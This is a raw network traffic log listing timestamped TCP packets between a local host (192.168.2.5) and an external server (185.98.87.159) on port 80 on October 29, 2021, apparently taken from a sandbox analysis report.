Oct 29, 2021 20:10:33.048085928 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048110962 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048132896 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048188925 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.048214912 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048238993 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048278093 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048300028 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048321009 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048326969 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.048337936 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048382998 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.048461914 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.048563957 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048588037 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048604012 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048626900 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.048648119 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.048734903 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.049119949 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049139977 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049153090 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049164057 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049190998 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049221992 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.049288034 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.049299955 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049318075 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049330950 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049376011 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.049439907 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.049653053 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049671888 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049684048 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049699068 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049768925 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049786091 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049802065 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049819946 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.049851894 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.049952030 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.050199032 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.050218105 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.050234079 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.050250053 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.050295115 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.050379992 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.050466061 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.050482988 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.050559044 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.102550030 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102575064 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102591038 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102607965 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102622986 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102638960 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102655888 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102669954 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.102675915 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102694035 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102710962 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102726936 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102742910 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102758884 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102776051 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102793932 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.102853060 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102871895 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102886915 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102897882 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.102955103 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.102966070 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.102998018 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103013039 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103028059 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103045940 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103075027 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103091002 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103135109 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103146076 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103176117 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103179932 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103194952 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103221893 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103240013 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103243113 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103255987 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103283882 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103300095 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103298903 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103352070 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103370905 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103389025 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103404999 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103420019 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103435993 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103441000 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103451967 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103467941 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103483915 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103499889 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103506088 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103514910 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103559971 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103575945 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103585958 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103593111 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103651047 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103698015 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103714943 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103730917 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103745937 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103761911 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103777885 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103794098 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103810072 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103825092 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103841066 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103852987 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.103857040 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103873968 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.103951931 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.104156971 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104172945 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104188919 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104204893 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104218960 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104232073 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.104274988 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104275942 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.104293108 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104321003 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104336023 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104342937 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.104352951 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104370117 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104398966 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104413986 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104424000 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.104446888 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104464054 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104496002 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.104522943 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104540110 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104547977 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.104557037 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.104604006 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.104839087 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.104969025 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157324076 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157360077 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157386065 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157411098 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157438040 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157450914 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157464981 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157493114 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157502890 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157520056 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157520056 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157550097 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157577038 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157582998 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157603979 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157630920 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157638073 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157660961 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157679081 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157691002 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157717943 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157732964 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157746077 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157773972 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157792091 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157803059 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157839060 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157855034 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157866955 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157895088 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157911062 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157922983 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157949924 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.157964945 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.157978058 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158004045 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158021927 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158031940 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158060074 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158073902 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158087015 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158113956 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158128023 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158139944 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158165932 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158183098 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158193111 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158220053 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158236027 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158248901 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158273935 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158291101 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158302069 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158329010 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158343077 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158354998 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158381939 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158401012 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158409119 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158437014 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158452034 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158464909 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158489943 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158504009 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158518076 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158544064 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158557892 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158571005 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158597946 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158611059 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158624887 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158652067 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158667088 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158680916 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158708096 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158721924 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158736944 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158763885 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158787966 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158813953 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158816099 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158840895 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158844948 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158868074 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158894062 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158895016 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158921957 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158940077 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.158948898 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158976078 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.158999920 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159001112 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.159027100 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159053087 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159053087 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.159080029 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159099102 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.159106970 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159132004 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159153938 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.159157038 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159185886 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159209967 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.159209967 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159236908 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159255028 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.159262896 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159291029 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159310102 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.159317970 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.159367085 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213213921 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213263035 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213284016 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213305950 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213326931 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213330030 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213346004 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213365078 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213382006 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213404894 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213426113 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213448048 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213470936 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213500977 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213526964 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213551998 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213573933 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213597059 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213618994 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213641882 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213665009 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213677883 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213704109 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213725090 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213747978 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213772058 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213795900 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213819981 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213841915 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213802099 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213864088 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213886023 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213907003 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213922024 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213927984 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213932037 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213949919 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213973045 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.213979959 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213984966 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213989019 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213992119 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.213994980 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.214011908 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.214014053 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.214015961 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.214020967 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.214024067 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.214027882 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.214030981 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.214049101 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.214070082 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.214080095 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.214092970 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.214111090 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:33.214112997 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.214133024 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.214199066 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.215313911 CEST	49788	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:33.268443108 CEST	80	49788	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:36.513191938 CEST	49795	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:36.565145969 CEST	80	49795	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:36.565237045 CEST	49795	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:36.565373898 CEST	49795	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:36.565408945 CEST	49795	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:36.617126942 CEST	80	49795	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:36.643986940 CEST	80	49795	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:36.644071102 CEST	49795	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:36.644256115 CEST	49795	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:36.673155069 CEST	49796	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:36.696088076 CEST	80	49795	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:36.724809885 CEST	80	49796	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:36.724898100 CEST	49796	80	192.168.2.5	185.98.87.159
